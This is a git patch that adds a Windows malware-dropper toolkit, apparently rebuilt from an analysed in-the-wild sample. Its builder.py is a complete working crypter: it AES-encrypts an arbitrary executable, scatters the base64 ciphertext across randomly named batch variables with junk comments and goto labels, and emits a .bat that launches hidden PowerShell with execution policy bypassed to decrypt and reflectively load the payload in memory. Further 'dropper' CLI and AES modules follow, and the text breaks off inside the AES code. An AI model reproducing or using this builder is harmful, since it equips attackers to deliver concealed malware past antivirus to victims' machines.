From 5ab7731f123cbbece0f9b181010eb0c857a2c3e3 Mon Sep 17 00:00:00 2001
From: i2p <i2p@maculab.dev>
Date: Thu, 27 Aug 2026 11:04:42 -0600
Subject: [PATCH] initial commit

---
 .DS_Store                                     | Bin 0 -> 6148 bytes
 ._builders                                    | Bin 0 -> 178 bytes
 ._original                                    | Bin 0 -> 178 bytes
 builders/.DS_Store                            | Bin 0 -> 6148 bytes
 builders/._builder 1to1                       | Bin 0 -> 178 bytes
 builders/._builder improved                   | Bin 0 -> 178 bytes
 builders/builder 1to1/builder.py              | 396 ++++++++++++++++++
 builders/builder improved/.___init__.py       | Bin 0 -> 178 bytes
 builders/builder improved/._obfuscation.py    | Bin 0 -> 178 bytes
 builders/builder improved/._rand.py           | Bin 0 -> 178 bytes
 builders/builder improved/._run.py            | Bin 0 -> 178 bytes
 builders/builder improved/__init__.py         |   5 +
 builders/builder improved/__main__.py         |   2 +
 builders/builder improved/batdropper.py       |   4 +
 builders/builder improved/cli.py              |  33 ++
 builders/builder improved/crypto.py           | 126 ++++++
 builders/builder improved/generator.py        | 325 ++++++++++++++
 builders/builder improved/obfuscation.py      |  42 ++
 builders/builder improved/rand.py             |  33 ++
 builders/builder improved/run.py              |  39 ++
 original/._decrypt_order.py                   | Bin 0 -> 178 bytes
 original/._dontrunACTIVEmalware.bat.txt       | Bin 0 -> 178 bytes
 original/decrypt_order.py                     | 105 +++++
 original/dontrunACTIVEmalware.bat.txt         | 123 ++++++
 original/extract_vars.py                      |  64 +++
 original/output/order.txt                     |  21 +
 ...ctive-mal-in-original.bin (dont run, .exe) | Bin 0 -> 81920 bytes
 read.txt                                      | 121 ++++++
 testexe and outputs/._testpayload.exe         | Bin 0 -> 178 bytes
 testexe and outputs/output_1to1.bat           | 163 +++++++
 testexe and outputs/output_improved.bat       | 181 ++++++++
 testexe and outputs/testpayload.cs            |  11 +
 testexe and outputs/testpayload.exe           | Bin 0 -> 4096 bytes
 33 files changed, 1794 insertions(+)
 create mode 100644 .DS_Store
 create mode 100755 ._builders
 create mode 100755 ._original
 create mode 100644 builders/.DS_Store
 create mode 100755 builders/._builder 1to1
 create mode 100755 builders/._builder improved
 create mode 100644 builders/builder 1to1/builder.py
 create mode 100644 builders/builder improved/.___init__.py
 create mode 100644 builders/builder improved/._obfuscation.py
 create mode 100644 builders/builder improved/._rand.py
 create mode 100644 builders/builder improved/._run.py
 create mode 100644 builders/builder improved/__init__.py
 create mode 100644 builders/builder improved/__main__.py
 create mode 100644 builders/builder improved/batdropper.py
 create mode 100644 builders/builder improved/cli.py
 create mode 100644 builders/builder improved/crypto.py
 create mode 100644 builders/builder improved/generator.py
 create mode 100644 builders/builder improved/obfuscation.py
 create mode 100644 builders/builder improved/rand.py
 create mode 100644 builders/builder improved/run.py
 create mode 100644 original/._decrypt_order.py
 create mode 100644 original/._dontrunACTIVEmalware.bat.txt
 create mode 100644 original/decrypt_order.py
 create mode 100644 original/dontrunACTIVEmalware.bat.txt
 create mode 100644 original/extract_vars.py
 create mode 100644 original/output/order.txt
 create mode 100644 original/output/the-active-mal-in-original.bin (dont run, .exe)
 create mode 100644 read.txt
 create mode 100644 testexe and outputs/._testpayload.exe
 create mode 100644 testexe and outputs/output_1to1.bat
 create mode 100644 testexe and outputs/output_improved.bat
 create mode 100644 testexe and outputs/testpayload.cs
 create mode 100644 testexe and outputs/testpayload.exe

diff --git a/.DS_Store b/.DS_Store
new file mode 100644
index 0000000000000000000000000000000000000000..474837bbd9f69f57cc3ff960d6ffc7701d1a3085
GIT binary patch
literal 6148
zcmeHK!A`?440YHJ69_Sh3&&jefc-(4${lGx09_Fbb<0GV#DPOUfluJVuZ%C?e|WYd
zw63kx69QyQ_Dd5xv7eNrAtE>3<P)MX5sjdX!$X)B;c?c69K@bupp!Xrx}`@d^KxD^
zysg6+Fa~}b1H5-fl+lJ3RM5`;%|ehp+!!qGCbM~1uC<c)x3&qEAx*O)WHLsyJ^B2&
zX!px|`K|AF)^r|IA?bjlW<ht*72Qx#%WH7HZS(2OYj3V)=*Vl&ua?)~it{?9Cme#M
z*k`mna$A8|k9;@iU5hPi+0x5H|HzISdam11S<mQNz4XfUn*3P?aA&iOjug!r1IB<c
z@XY|94<5>xM649$=zx(Y0C0$I5w!U&!7)B!60uUm2*hb9P(xjOVmJ*)zmI-N#7a@a
z$;HQqiz~bMLUFP>=J(=GE>SdV3>X7-1_t^$=KKG$`~6=JvM*!682DEVxM4a=rzk1j
xt&QUNuJzDsC=2^liV^}7uVZQOReS~&!I<X;Fo{?xq6cC>0z!isW8g;__yQBAheH4W

literal 0
HcmV?d00001

diff --git a/._builders b/._builders
new file mode 100755
index 0000000000000000000000000000000000000000..96ff44f638da20ccd4406b2adf2f77c32aba9c77
GIT binary patch
literal 178
zcmZQz6=P>$Vqox1Ojhs@R)|o50+1L3ClDI}aRU&8_?v*32;dkJ5(HHS(lG;wrO>o7
zBE&_L^K<nQ3kq^l^$JT9ixTrnGV@Xy3iS;PEDWv9EK^d<lafuWLsD~6(~A;wtr-B4
C78l<D

literal 0
HcmV?d00001

diff --git a/._original b/._original
new file mode 100755
index 0000000000000000000000000000000000000000..96ff44f638da20ccd4406b2adf2f77c32aba9c77
GIT binary patch
literal 178
zcmZQz6=P>$Vqox1Ojhs@R)|o50+1L3ClDI}aRU&8_?v*32;dkJ5(HHS(lG;wrO>o7
zBE&_L^K<nQ3kq^l^$JT9ixTrnGV@Xy3iS;PEDWv9EK^d<lafuWLsD~6(~A;wtr-B4
C78l<D

literal 0
HcmV?d00001

diff --git a/builders/.DS_Store b/builders/.DS_Store
new file mode 100644
index 0000000000000000000000000000000000000000..245d46c26c8d451b2d6ff580a1dfdc0d2428983d
GIT binary patch
literal 6148
zcmeHK%}&EG40gs2<L9sw8n?Vc?;OHZ9sunHP*((#TBQQUxhGzT2Y?%Qo`}zJG&L*x
zyC8&Y$@x;(PU^2wT@#U+F3XH)Ohh9n<KP&>55o6ZdoqZY6QBuelyparWGSQPp0^tQ
zA_M&H&ZwXzEvTaI`}35QPxGqqzTyYp=v3Wjv$?Mu$?o!Xn{Vy&yr_HuA3jlUllRZ7
z?f&IK{>?-8Ssa$e$zD%xK{Yivrk-AKT+42fJDt;HZ_fAGU@hsd3rTwCUbRn>-#acP
z;e$y~Q3jL&Wguk$HJfF0DyX9}pbRJjD+c)cV4;jIVk;Ov9T-9j035;`1as~sIL1bF
z5nDmrffxw|N~nn~hLLdCZS->yTR{mY6PphccQ&y@F=2PCZ-YA-C#a(`pbVr89LeRF
z>;LuU{yz=UD`h|#_*V>=VLr>JNGaCVUUFP(E%X-3!hWsbDg={Iis8$pcmfRqyX6Vc
UMQjCOf#{Dwpg{*^;8z*=280f7a{vGU

literal 0
HcmV?d00001

diff --git a/builders/._builder 1to1 b/builders/._builder 1to1
new file mode 100755
index 0000000000000000000000000000000000000000..96ff44f638da20ccd4406b2adf2f77c32aba9c77
GIT binary patch
literal 178
zcmZQz6=P>$Vqox1Ojhs@R)|o50+1L3ClDI}aRU&8_?v*32;dkJ5(HHS(lG;wrO>o7
zBE&_L^K<nQ3kq^l^$JT9ixTrnGV@Xy3iS;PEDWv9EK^d<lafuWLsD~6(~A;wtr-B4
C78l<D

literal 0
HcmV?d00001

diff --git a/builders/._builder improved b/builders/._builder improved
new file mode 100755
index 0000000000000000000000000000000000000000..96ff44f638da20ccd4406b2adf2f77c32aba9c77
GIT binary patch
literal 178
zcmZQz6=P>$Vqox1Ojhs@R)|o50+1L3ClDI}aRU&8_?v*32;dkJ5(HHS(lG;wrO>o7
zBE&_L^K<nQ3kq^l^$JT9ixTrnGV@Xy3iS;PEDWv9EK^d<lafuWLsD~6(~A;wtr-B4
C78l<D

literal 0
HcmV?d00001

diff --git a/builders/builder 1to1/builder.py b/builders/builder 1to1/builder.py
new file mode 100644
index 0000000..34a4ff8
--- /dev/null
+++ b/builders/builder 1to1/builder.py	
@@ -0,0 +1,396 @@
+#!/usr/bin/env python3
+
+import random
+import string
+import base64
+import os
+from pathlib import Path
+from Crypto.Cipher import AES
+from Crypto.Util.Padding import pad
+from Crypto.Random import get_random_bytes
+
+
+class CompleteBatchObfuscator:
+    
+    def __init__(self, exe_path, output_path='obfuscated_output.bat'):
+        self.exe_path = Path(exe_path)
+        self.output_path = Path(output_path)
+        self.exe_name = self.exe_path.name
+        
+        self.used_names = set()
+        
+        self.aes_key = None
+        self.iv = None
+        self.encrypted_data = None
+        self.base64_segments = []
+        self.segment_var_names = []
+        self.order_fragment_vars = {}
+        self.powershell_chain_vars = []
+        self.labels = []
+        self.junk_words = []
+        
+        print(f"init: {self.exe_name}")
+    
+    def generate_random_var_name(self, length=8, allow_special=False):
+        while True:
+            chars = string.ascii_letters + string.digits
+            name = ''.join(random.choice(chars) for _ in range(length))
+            
+            if name[0].isdigit():
+                name = random.choice(string.ascii_letters) + name[1:]
+            
+            if name not in self.used_names:
+                self.used_names.add(name)
+                return name
+    
+    def generate_random_label(self):
+        length = random.randint(6, 12)
+        chars = string.ascii_letters + string.digits
+        label = ''.join(random.choice(chars) for _ in range(length))
+        
+        if label[0].isdigit():
+            label = random.choice(string.ascii_letters) + label[1:]
+        
+        return label
+    
+    def generate_junk_words(self, count=200):
+        syllables = ['ka', 'ra', 'ta', 'na', 'ma', 'pa', 'ba', 'za', 'la', 'da',
+                     'ko', 'ro', 'to', 'no', 'mo', 'po', 'bo', 'zo', 'lo', 'do',
+                     'ki', 'ri', 'ti', 'ni', 'mi', 'pi', 'bi', 'zi', 'li', 'di']
+        
+        words = []
+        for _ in range(count):
+            word_len = random.randint(2, 4)
+            word = ''.join(random.choice(syllables) for _ in range(word_len))
+            words.append(word)
+        
+        self.junk_words = words
+        return words
+    
+    def generate_junk_line(self):
+        comment_type = random.choice(['rem', 'REM', 'Rem', '::'])
+        num_words = random.randint(3, 8)
+        words = random.sample(self.junk_words, min(num_words, len(self.junk_words)))
+        
+        if random.random() < 0.3:
+            var = self.generate_random_var_name()
+            return f'%{var}%{comment_type}%{self.generate_random_var_name()}% {" ".join(words)}'
+        else:
+            return f'{comment_type} {" ".join(words)}'
+    
+    def encrypt_exe_aes(self):
+        print(f"\naes encrypt")
+        print(f"=" * 60)
+        
+        exe_data = self.exe_path.read_bytes()
+        print(f"read exe: {len(exe_data)} bytes")
+        
+        self.aes_key = get_random_bytes(32)
+        self.iv = get_random_bytes(16)
+        print(f"key: {self.aes_key.hex()}")
+        print(f"iv: {self.iv.hex()}")
+        
+        padded_data = pad(exe_data, AES.block_size)
+        print(f"padded: {len(padded_data)} bytes")
+        
+        cipher = AES.new(self.aes_key, AES.MODE_CBC, self.iv)
+        encrypted = cipher.encrypt(padded_data)
+        print(f"encrypted: {len(encrypted)} bytes")
+        
+        self.encrypted_data = self.iv + encrypted
+        print(f"total: {len(self.encrypted_data)} bytes")
+        
+        return self.encrypted_data
+    
+    def split_base64_into_segments(self):
+        print(f"\nb64 split")
+        print(f"=" * 60)
+        
+        b64_data = base64.b64encode(self.encrypted_data).decode('ascii')
+        print(f"b64: {len(b64_data)} chars")
+        
+        segment_size = len(b64_data) // 21
+        self.base64_segments = []
+        self.segment_var_names = []
+        
+        for i in range(21):
+            start = i * segment_size
+            end = start + segment_size if i < 20 else len(b64_data)
+            segment = b64_data[start:end]
+            var_name = self.generate_random_var_name()
+            
+            self.base64_segments.append(segment)
+            self.segment_var_names.append(var_name)
+            print(f"seg {i+1:2d}: {var_name:12s} = {len(segment)} chars")
+        
+        print(f"made {len(self.base64_segments)} segments")
+        return self.base64_segments, self.segment_var_names
+    
+    def create_order_obfuscation(self):
+        print(f"\norder obfuscation")
+        print(f"=" * 60)
+        
+        order_list = '!'.join(self.segment_var_names)
+        print(f"order: {order_list[:100]}...")
+        print(f"len: {len(order_list)} chars")
+        
+        num_fragments = random.randint(20, 25)
+        fragments = []
+        fragment_vars = []
+        
+        parts = order_list.split('!')
+        parts_per_fragment = max(1, len(parts) // num_fragments)
+        
+        for i in range(0, len(parts), parts_per_fragment):
+            fragment_parts = parts[i:i+parts_per_fragment]
+            fragment = '!'.join(fragment_parts)
+            if i + parts_per_fragment < len(parts):
+                fragment += '!'
+            
+            var_name = self.generate_random_var_name(allow_special=True)
+            fragments.append(fragment)
+            fragment_vars.append(var_name)
+            self.order_fragment_vars[var_name] = fragment
+            print(f"frag {len(fragment_vars):2d}: {var_name:15s} = {fragment[:50]}...")
+        
+        print(f"made {len(fragment_vars)} fragments")
+        
+        line42_var_name = self.generate_random_var_name()
+        line42_content = ''.join(f'%{var}%' for var in fragment_vars)
+        
+        print(f"line42 var: {line42_var_name}")
+        print(f"line42: {line42_content[:100]}...")
+        
+        return line42_var_name, line42_content, fragment_vars
+    
+    def create_powershell_command(self, order_var_name):
+        print(f"\nps command")
+        print(f"=" * 60)
+        
+        key_bytes = ','.join(str(b) for b in self.aes_key)
+        
+        ps_command = f"""$jPFh8Se4 = [System.Security.Cryptography.AESCryptoServiceProvider]::new();$jPFh8Se4.Mode = [System.Security.Cryptography.CipherMode]::CBC;$jPFh8Se4.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$jPFh8Se4.Key = [byte[]]@({key_bytes});$wEAR7v = [Convert]::FromBase64String(-join ($env:{order_var_name}.Split('!')).ForEach({{(Get-Item "env:$_").Value}}));$jPFh8Se4.IV = $wEAR7v[0..15];$F9q72zl=$jPFh8Se4.CreateDecryptor();$4lKXVT9F4=$F9q72zl.TransformFinalBlock($wEAR7v[16..$wEAR7v.Length], 0,$wEAR7v.Length-16);$gEBOJ = [System.Reflection.Assembly]::Load($4lKXVT9F4);$gEBOJ.EntryPoint.Invoke($null, $null)"""
+        
+        print(f"ps len: {len(ps_command)} chars")
+        print(f"reflective load (in-memory)")
+        print(f"first 200: {ps_command[:200]}...")
+        
+        return ps_command
+    
+    def create_powershell_chain(self, ps_command):
+        print(f"\nps chain")
+        print(f"=" * 60)
+        
+        statements = ps_command.split(';')
+        
+        num_parts = 7
+        statements_per_part = max(1, len(statements) // num_parts)
+        
+        parts = []
+        for i in range(0, len(statements), statements_per_part):
+            part_statements = statements[i:i+statements_per_part]
+            part = ';'.join(part_statements)
+            parts.append(part)
+        
+        if len(parts) > num_parts:
+            parts = parts[:num_parts-1] + [';'.join(parts[num_parts-1:])]
+        
+        chain_vars = []
+        for i in range(min(len(parts), num_parts)):
+            var_name = self.generate_random_var_name()
+            chain_vars.append(var_name)
+        
+        self.powershell_chain_vars = chain_vars
+        
+        chain_values = {}
+        for i in range(len(chain_vars)):
+            if i < len(chain_vars) - 1:
+                value = parts[i] + f";iex $env:{chain_vars[i+1]}"
+            else:
+                value = parts[i]
+            
+            chain_values[chain_vars[i]] = value
+            print(f"chain {i+1}: {chain_vars[i]:12s} -> {value[:80]}...")
+        
+        print(f"made {len(chain_vars)}-step chain")
+        
+        return chain_vars, chain_values
+    
+    def obfuscate_string_with_vars(self, text, num_parts=None):
+        if num_parts is None:
+            num_parts = random.randint(4, 10)
+        
+        part_size = len(text) // num_parts
+        parts = []
+        var_names = []
+        
+        for i in range(num_parts):
+            start = i * part_size
+            end = start + part_size if i < num_parts - 1 else len(text)
+            part = text[start:end]
+            var_name = self.generate_random_var_name()
+            
+            parts.append(part)
+            var_names.append(var_name)
+        
+        return list(zip(var_names, parts))
+    
+    def build_batch_file(self, line42_var, line42_content, fragment_vars, chain_vars, chain_values, order_var_name):
+        print(f"\nbatch assembly")
+        print(f"=" * 60)
+        
+        lines = []
+        
+        self.labels = [self.generate_random_label() for _ in range(random.randint(10, 15))]
+        self.generate_junk_words(200)
+        
+        lines.append('@echo off')
+        
+        for _ in range(2):
+            lines.append(self.generate_junk_line())
+        lines.append(f'goto :{self.labels[0]}')
+        for _ in range(3):
+            lines.append(self.generate_junk_line())
+        lines.append(f':{self.labels[0]}')
+        lines.append('')
+        
+        exe_parts = self.obfuscate_string_with_vars(self.exe_name, num_parts=random.randint(5, 8))
+        for var, part in exe_parts:
+            set_cmd = random.choice(['set', 'SET', 'sEt', 'SeT', 'seT', 'sET'])
+            if random.random() < 0.7:
+                lines.append(f'{set_cmd} "{var}={part}"')
+            else:
+                lines.append(f'{set_cmd} {var}={part}')
+        exe_var_ref = ''.join(f'%{var}%' for var, _ in exe_parts)
+        
+        for _ in range(random.randint(3, 6)):
+            lines.append(self.generate_junk_line())
+        lines.append(f'goto :{self.labels[1]}')
+        lines.append(self.generate_junk_line())
+        lines.append(f':{self.labels[1]}')
+        
+        print(f"adding 21 b64 vars...")
+        for i, (var_name, segment) in enumerate(zip(self.segment_var_names, self.base64_segments)):
+            set_cmd = random.choice(['SET', 'set', 'sEt'])
+            lines.append(f'{set_cmd} {var_name}={segment}')
+            if (i + 1) % 5 == 0:
+                lines.append(self.generate_junk_line())
+        
+        for _ in range(random.randint(2, 4)):
+            lines.append(self.generate_junk_line())
+        lines.append(f'goto :{self.labels[2]}')
+        lines.append(f':{self.labels[2]}')
+        
+        print(f"adding order fragments...")
+        for var_name, fragment in self.order_fragment_vars.items():
+            set_cmd = random.choice(['set', 'SET', 'sEt'])
+            if random.random() < 0.5:
+                lines.append(f'{set_cmd} "{var_name}={fragment}"')
+            else:
+                lines.append(f'{set_cmd} "{var_name}={fragment}" && {self.generate_junk_line()}')
+        
+        print(f"adding line 42...")
+        lines.append(f'SET "{order_var_name}={line42_content}"')
+        
+        for _ in range(random.randint(2, 4)):
+            lines.append(self.generate_junk_line())
+        lines.append(f'goto :{self.labels[3]}')
+        lines.append(f':{self.labels[3]}')
+        
+        print(f"adding ps chain...")
+        for var_name in reversed(chain_vars):
+            value = chain_values[var_name]
+            set_cmd = random.choice(['SET', 'set', 'sEt', 'SeT'])
+            lines.append(f'{set_cmd} "{var_name}={value}"')
+        
+        print(f"adding exec cmd...")
+        lines.append(f'goto :{self.labels[4]}')
+        lines.append(f':{self.labels[4]}')
+        
+        ps_parts = self.obfuscate_string_with_vars('powershell -ExecutionPolicy Bypass -WindowStyle Hidden -c')
+        for var, part in ps_parts:
+            set_cmd = random.choice(['set', 'SET'])
+            lines.append(f'{set_cmd} "{var}={part}"')
+        ps_ref = ''.join(f'%{var}%' for var, _ in ps_parts)
+        
+        lines.append(f'{ps_ref} %{chain_vars[0]}%')
+        
+        for i in range(5, len(self.labels)):
+            lines.append('')
+            if random.random() < 0.3 and i < len(self.labels) - 1:
+                lines.append(f'goto :{self.labels[i+1]}')
+            for _ in range(random.randint(2, 6)):
+                lines.append(self.generate_junk_line())
+            lines.append(f':{self.labels[i]}')
+        
+        for _ in range(random.randint(5, 10)):
+            lines.append(self.generate_junk_line())
+        
+        print(f"total lines: {len(lines)}")
+        
+        return lines
+    
+    def build(self):
+        print(f"\n{'='*60}")
+        print(f"batch obfuscator")
+        print(f"{'='*60}")
+        print(f"in: {self.exe_path}")
+        print(f"out: {self.output_path}")
+        
+        self.encrypt_exe_aes()
+        self.split_base64_into_segments()
+        line42_var, line42_content, fragment_vars = self.create_order_obfuscation()
+        order_var_name = self.generate_random_var_name(length=12)
+        ps_command = self.create_powershell_command(order_var_name)
+        chain_vars, chain_values = self.create_powershell_chain(ps_command)
+        lines = self.build_batch_file(line42_var, line42_content, fragment_vars, 
+                                      chain_vars, chain_values, order_var_name)
+        
+        self.output_path.write_text('\n'.join(lines), encoding='utf-8')
+        
+        print(f"\n{'='*60}")
+        print(f"done")
+        print(f"{'='*60}")
+        print(f"output: {self.output_path}")
+        print(f"lines: {len(lines)}")
+        print(f"vars: {len(self.used_names)}")
+        print(f"  payload: {len(self.segment_var_names)}")
+        print(f"  order: {len(self.order_fragment_vars)}")
+        print(f"  ps chain: {len(chain_vars)}")
+        print(f"  other: {len(self.used_names) - len(self.segment_var_names) - len(self.order_fragment_vars) - len(chain_vars)}")
+        print(f"labels: {len(self.labels)}")
+        print(f"junk: ~{len([l for l in lines if 'rem' in l.lower() or '::' in l])}")
+        print(f"key: {self.aes_key.hex()}")
+        print(f"iv: {self.iv.hex()}")
+        
+        return self.output_path
+
+
+def main():
+    import sys
+    
+    print("=" * 60)
+    print("batch obfuscator")
+    print("=" * 60)
+    
+    if len(sys.argv) < 2:
+        print("\nusage: python builder.py <input.exe> [output.bat]")
+        print("\nexample:")
+        print("  python builder.py myapp.exe obfuscated.bat")
+        sys.exit(1)
+    
+    exe_file = sys.argv[1]
+    output_file = sys.argv[2] if len(sys.argv) > 2 else 'obfuscated_output.bat'
+    
+    if not Path(exe_file).exists():
+        print(f"\nfile not found: {exe_file}")
+        sys.exit(1)
+    
+    builder = CompleteBatchObfuscator(exe_file, output_file)
+    builder.build()
+    
+    print(f"\ndone: {output_file}")
+
+
+if __name__ == "__main__":
+    main()
diff --git a/builders/builder improved/.___init__.py b/builders/builder improved/.___init__.py
new file mode 100644
index 0000000000000000000000000000000000000000..96ff44f638da20ccd4406b2adf2f77c32aba9c77
GIT binary patch
literal 178
zcmZQz6=P>$Vqox1Ojhs@R)|o50+1L3ClDI}aRU&8_?v*32;dkJ5(HHS(lG;wrO>o7
zBE&_L^K<nQ3kq^l^$JT9ixTrnGV@Xy3iS;PEDWv9EK^d<lafuWLsD~6(~A;wtr-B4
C78l<D

literal 0
HcmV?d00001

diff --git a/builders/builder improved/._obfuscation.py b/builders/builder improved/._obfuscation.py
new file mode 100644
index 0000000000000000000000000000000000000000..96ff44f638da20ccd4406b2adf2f77c32aba9c77
GIT binary patch
literal 178
zcmZQz6=P>$Vqox1Ojhs@R)|o50+1L3ClDI}aRU&8_?v*32;dkJ5(HHS(lG;wrO>o7
zBE&_L^K<nQ3kq^l^$JT9ixTrnGV@Xy3iS;PEDWv9EK^d<lafuWLsD~6(~A;wtr-B4
C78l<D

literal 0
HcmV?d00001

diff --git a/builders/builder improved/._rand.py b/builders/builder improved/._rand.py
new file mode 100644
index 0000000000000000000000000000000000000000..96ff44f638da20ccd4406b2adf2f77c32aba9c77
GIT binary patch
literal 178
zcmZQz6=P>$Vqox1Ojhs@R)|o50+1L3ClDI}aRU&8_?v*32;dkJ5(HHS(lG;wrO>o7
zBE&_L^K<nQ3kq^l^$JT9ixTrnGV@Xy3iS;PEDWv9EK^d<lafuWLsD~6(~A;wtr-B4
C78l<D

literal 0
HcmV?d00001

diff --git a/builders/builder improved/._run.py b/builders/builder improved/._run.py
new file mode 100644
index 0000000000000000000000000000000000000000..96ff44f638da20ccd4406b2adf2f77c32aba9c77
GIT binary patch
literal 178
zcmZQz6=P>$Vqox1Ojhs@R)|o50+1L3ClDI}aRU&8_?v*32;dkJ5(HHS(lG;wrO>o7
zBE&_L^K<nQ3kq^l^$JT9ixTrnGV@Xy3iS;PEDWv9EK^d<lafuWLsD~6(~A;wtr-B4
C78l<D

literal 0
HcmV?d00001

diff --git a/builders/builder improved/__init__.py b/builders/builder improved/__init__.py
new file mode 100644
index 0000000..9cc6c8a
--- /dev/null
+++ b/builders/builder improved/__init__.py	
@@ -0,0 +1,5 @@
+JUNK_DENSITY = 2
+JUNK_BLOCKS = 25
+PAYLOAD_CHUNK_SIZE = 2800
+OUTPUT_NAME_LENGTH = 9
+AES_KEY_SIZE = 32
\ No newline at end of file
diff --git a/builders/builder improved/__main__.py b/builders/builder improved/__main__.py
new file mode 100644
index 0000000..665de58
--- /dev/null
+++ b/builders/builder improved/__main__.py	
@@ -0,0 +1,2 @@
+from .cli import main
+main()
\ No newline at end of file
diff --git a/builders/builder improved/batdropper.py b/builders/builder improved/batdropper.py
new file mode 100644
index 0000000..e0d173b
--- /dev/null
+++ b/builders/builder improved/batdropper.py	
@@ -0,0 +1,4 @@
+import sys, os
+sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.abspath(__file__))))
+from dropper.cli import main
+main()
\ No newline at end of file
diff --git a/builders/builder improved/cli.py b/builders/builder improved/cli.py
new file mode 100644
index 0000000..cbc358b
--- /dev/null
+++ b/builders/builder improved/cli.py	
@@ -0,0 +1,33 @@
+import sys, os
+try:
+    from .generator import generate
+except ImportError:
+    from generator import generate
+
+def main():
+    if len(sys.argv) < 2:
+        print(f"usage: python -m dropper <input.exe> [output.bat]")
+        sys.exit(1)
+
+    input_path = sys.argv[1]
+    output_path = sys.argv[2] if len(sys.argv) >= 3 else os.path.splitext(os.path.basename(input_path))[0] + '_dropper.bat'
+
+    if not os.path.exists(input_path):
+        print(f"file not found: {input_path}")
+        sys.exit(1)
+
+    with open(input_path, 'rb') as f:
+        exe_data = f.read()
+
+    if not exe_data:
+        print("empty file")
+        sys.exit(1)
+
+    print(f"in: {input_path}")
+    print(f"out: {output_path}")
+
+    if generate(exe_data, output_path):
+        print(f"\ndone: {output_path}")
+    else:
+        print("failed")
+        sys.exit(1)
\ No newline at end of file
diff --git a/builders/builder improved/crypto.py b/builders/builder improved/crypto.py
new file mode 100644
index 0000000..f5391e0
--- /dev/null
+++ b/builders/builder improved/crypto.py	
@@ -0,0 +1,126 @@
+import os
+try:
+    from . import AES_KEY_SIZE
+except ImportError:
+    AES_KEY_SIZE = 32
+
+SBOX = [
+    0x63,0x7c,0x77,0x7b,0xf2,0x6b,0x6f,0xc5,0x30,0x01,0x67,0x2b,0xfe,0xd7,0xab,0x76,
+    0xca,0x82,0xc9,0x7d,0xfa,0x59,0x47,0xf0,0xad,0xd4,0xa2,0xaf,0x9c,0xa4,0x72,0xc0,
+    0xb7,0xfd,0x93,0x26,0x36,0x3f,0xf7,0xcc,0x34,0xa5,0xe5,0xf1,0x71,0xd8,0x31,0x15,
+    0x04,0xc7,0x23,0xc3,0x18,0x96,0x05,0x9a,0x07,0x12,0x80,0xe2,0xeb,0x27,0xb2,0x75,
+    0x09,0x83,0x2c,0x1a,0x1b,0x6e,0x5a,0xa0,0x52,0x3b,0xd6,0xb3,0x29,0xe3,0x2f,0x84,
+    0x53,0xd1,0x00,0xed,0x20,0xfc,0xb1,0x5b,0x6a,0xcb,0xbe,0x39,0x4a,0x4c,0x58,0xcf,
+    0xd0,0xef,0xaa,0xfb,0x43,0x4d,0x33,0x85,0x45,0xf9,0x02,0x7f,0x50,0x3c,0x9f,0xa8,
+    0x51,0xa3,0x40,0x8f,0x92,0x9d,0x38,0xf5,0xbc,0xb6,0xda,0x21,0x10,0xff,0xf3,0xd2,
+    0xcd,0x0c,0x13,0xec,0x5f,0x97,0x44,0x17,0xc4,0xa7,0x7e,0x3d,0x64,0x5d,0x19,0x73,
+    0x60,0x81,0x4f,0xdc,0x22,0x2a,0x90,0x88,0x46,0xee,0xb8,0x14,0xde,0x5e,0x0b,0xdb,
+    0xe0,0x32,0x3a,0x0a,0x49,0x06,0x24,0x5c,0xc2,0xd3,0xac,0x62,0x91,0x95,0xe4,0x79,
+    0xe7,0xc8,0x37,0x6d,0x8d,0xd5,0x4e,0xa9,0x6c,0x56,0xf4,0xea,0x65,0x7a,0xae,0x08,
+    0xba,0x78,0x25,0x2e,0x1c,0xa6,0xb4,0xc6,0xe8,0xdd,0x74,0x1f,0x4b,0xbd,0x8b,0x8a,
+    0x70,0x3e,0xb5,0x66,0x48,0x03,0xf6,0x0e,0x61,0x35,0x57,0xb9,0x86,0xc1,0x1d,0x9e,
+    0xe1,0xf8,0x98,0x11,0x69,0xd9,0x8e,0x94,0x9b,0x1e,0x87,0xe9,0xce,0x55,0x28,0xdf,
+    0x8c,0xa1,0x89,0x0d,0xbf,0xe6,0x42,0x68,0x41,0x99,0x2d,0x0f,0xb0,0x54,0xbb,0x16,
+]
+
+RCON = [0x01,0x02,0x04,0x08,0x10,0x20,0x40,0x80,0x1b,0x36]
+
+def _xtime(a):
+    return ((a << 1) ^ 0x1b) & 0xff if a & 0x80 else (a << 1) & 0xff
+
+def _mix_single(a):
+    t = a[0] ^ a[1] ^ a[2] ^ a[3]
+    u = a[0]
+    a[0] ^= _xtime(a[0] ^ a[1]) ^ t
+    a[1] ^= _xtime(a[1] ^ a[2]) ^ t
+    a[2] ^= _xtime(a[2] ^ a[3]) ^ t
+    a[3] ^= _xtime(a[3] ^ u) ^ t
+
+def _key_expansion(key):
+    nk = len(key) // 4
+    nr = nk + 6
+    w = [key[4*i:4*i+4] for i in range(nk)]
+    for i in range(nk, 4*(nr+1)):
+        temp = list(w[i-1])
+        if i % nk == 0:
+            temp = [SBOX[temp[1]] ^ RCON[i//nk-1], SBOX[temp[2]], SBOX[temp[3]], SBOX[temp[0]]]
+        elif nk > 6 and i % nk == 4:
+            temp = [SBOX[b] for b in temp]
+        w.append(bytes([a ^ b for a, b in zip(w[i-nk], temp)]))
+    round_keys = []
+    for r in range(nr + 1):
+        rk = b''
+        for i in range(4):
+            rk += w[r*4 + i]
+        round_keys.append(rk)
+    return round_keys
+
+def _encrypt_block(block, round_keys):
+    nr = len(round_keys) - 1
+    state = [list(block[i:i+4]) for i in range(0, 16, 4)]
+    s = [[state[j][i] for j in range(4)] for i in range(4)]
+
+    for i in range(4):
+        for j in range(4):
+            s[i][j] ^= round_keys[0][i*4+j]
+
+    for rnd in range(1, nr + 1):
+        for i in range(4):
+            for j in range(4):
+                s[i][j] = SBOX[s[i][j]]
+        s[1] = s[1][1:] + s[1][:1]
+        s[2] = s[2][2:] + s[2][:2]
+        s[3] = s[3][3:] + s[3][:3]
+        if rnd < nr:
+            for j in range(4):
+                col = [s[i][j] for i in range(4)]
+                _mix_single(col)
+                for i in range(4):
+                    s[i][j] = col[i]
+        for i in range(4):
+            for j in range(4):
+                s[i][j] ^= round_keys[rnd][i*4+j]
+
+    result = bytearray(16)
+    for i in range(4):
+        for j in range(4):
+            result[i*4+j] = s[i][j]
+    return bytes(result)
+
+def _pkcs7_pad(data, block_size=16):
+    pad_len = block_size - (len(data) % block_size)
+    return data + bytes([pad_len] * pad_len)
+
+def _aes_cbc_encrypt(plaintext, key, iv):
